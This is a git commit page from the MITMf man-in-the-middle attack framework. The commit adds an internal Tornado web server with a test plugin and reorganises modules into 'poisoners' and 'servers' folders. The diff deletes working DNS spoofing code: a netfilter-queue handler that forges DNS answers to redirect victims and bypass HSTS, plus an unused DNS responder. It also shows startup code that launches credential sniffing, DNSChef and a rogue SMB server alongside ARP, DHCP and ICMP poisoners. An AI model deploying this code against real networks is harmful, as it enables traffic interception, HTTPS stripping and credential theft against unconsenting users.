Initial webserver implementation, plus organized directory structure a bit better

This commit is contained in:
byt3bl33d3r 2015-05-19 22:43:43 +02:00
parent fb26d89204
commit 929520fcc8
27 changed files with 54 additions and 240 deletions

View file

@ -8,7 +8,7 @@ from scapy.all import *
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class DHCPServer(): class DHCPpoisoner():
def __init__(self, interface, dhcpcfg, ip, mac): def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface self.interface = interface

View file

@ -1,101 +0,0 @@
##################################################################################
#DNS Stuff starts here(not Used)
##################################################################################
#Function name self-explanatory
class DNSServer():
def serve_thread_udp(host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
def start(DNS_On_Off):
if DNS_On_Off == "ON":
t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS))
t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP))
for t in [t1, t2]:
t.setDaemon(True)
t.start()
if DNS_On_Off == "OFF":
return False
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
return True
else:
return False
#DNS Answer packet.
class DNSAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
# DNS Server class.
class DNS(BaseRequestHandler):
def handle(self):
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
elif ParseDNSType(data):
buff = DNSAns()
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
#print "DNS Answer sent to: %s "%(self.client_address[0])
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
class DNSTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
if self.client_address[0] == "127.0.0.1":
pass
elif ParseDNSType(data):
buff = DNSAns()
buff.calculate(data)
self.request.send(str(buff))
#print "DNS Answer sent to: %s "%(self.client_address[0])
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
except Exception:
pass
##################################################################################
#DNS Stuff ends here (not Used)
##################################################################################

View file

@ -1,130 +0,0 @@
class DNSnfqueue():
hsts = False
dns = False
hstscfg = None
dnscfg = None
_instance = None
nfqueue = None
queue_number = 0
def __init__(self):
self.nfqueue = NetfilterQueue()
t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True)
t.start()
@staticmethod
def getInstance():
if _DNS._instance is None:
_DNS._instance = _DNS()
return _DNS._instance
@staticmethod
def checkInstance():
if _DNS._instance is None:
return False
else:
return True
def bind(self):
self.nfqueue.bind(self.queue_number, self.callback)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def enableHSTS(self, config):
self.hsts = True
self.hstscfg = config
def enableDNS(self, config):
self.dns = True
self.dnscfg = config
def resolve_domain(self, domain):
try:
mitmf_logger.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
mitmf_logger.info("Error resolving " + domain)
def callback(self, payload):
try:
#mitmf_logger.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
return
if pkt.haslayer(DNSQR):
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
self.modify_dns(payload, pkt, v)
return
payload.accept()
elif self.hsts:
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.items():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)

View file

@ -0,0 +1,21 @@
import tornado.ioloop
import tornado.web
import threading
class HTTPServer:
_instance = None
application = tornado.web.Application([])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def start(self, port=80):
self.application.listen(port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()

View file

View file

@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(NetCreds.version) print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start DNSChef #Start DNSChef
from core.dnschef.DNSchef import DNSChef from core.servers.dns.DNSchef import DNSChef
DNSChef.getInstance().start() DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version) print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server
from core.servers.http.HTTPServer import HTTPServer
HTTPServer.getInstance().start()
print "|_ HTTPserver online"
#Start the SMB server #Start the SMB server
from core.protocols.smb.SMBserver import SMBserver from core.servers.smb.SMBserver import SMBserver
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
SMBserver().start() SMBserver().start()

View file

@ -24,7 +24,7 @@ import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import IpTables, SystemConfig from core.utils import IpTables, SystemConfig
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from core.dnschef.DNSchef import DNSChef from core.servers.dns.DNSchef import DNSChef
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'

View file

@ -19,11 +19,11 @@
# #
from core.utils import SystemConfig, IpTables, shutdown from core.utils import SystemConfig, IpTables, shutdown
from core.protocols.arp.ARPpoisoner import ARPpoisoner from core.poisoners.arp.ARPpoisoner import ARPpoisoner
from core.protocols.arp.ARPWatch import ARPWatch from core.poisoners.arp.ARPWatch import ARPWatch
from core.dnschef.DNSchef import DNSChef from core.servers.dns.DNSchef import DNSChef
from core.protocols.dhcp.DHCPServer import DHCPServer from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
from plugins.plugin import Plugin from plugins.plugin import Plugin
from scapy.all import * from scapy.all import *

18
plugins/TestPlugin.py Normal file
View file

@ -0,0 +1,18 @@
from plugins.plugin import Plugin
from core.servers.http.HTTPServer import HTTPServer
import tornado.web
class TestPlugin(Plugin):
name = "testplugin"
optname = "test"
desc = "Plugin to test dynamically configuring the internal web server"
version = "0.1"
has_opts = False
def initialize(self, options):
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)])
class MainHandler(tornado.web.RequestHandler):
def get(self):
print self.request
self.write("Hello World!")

View file

@ -13,4 +13,5 @@ service_identity
watchdog watchdog
impacket impacket
capstone capstone
tornado
pypcap pypcap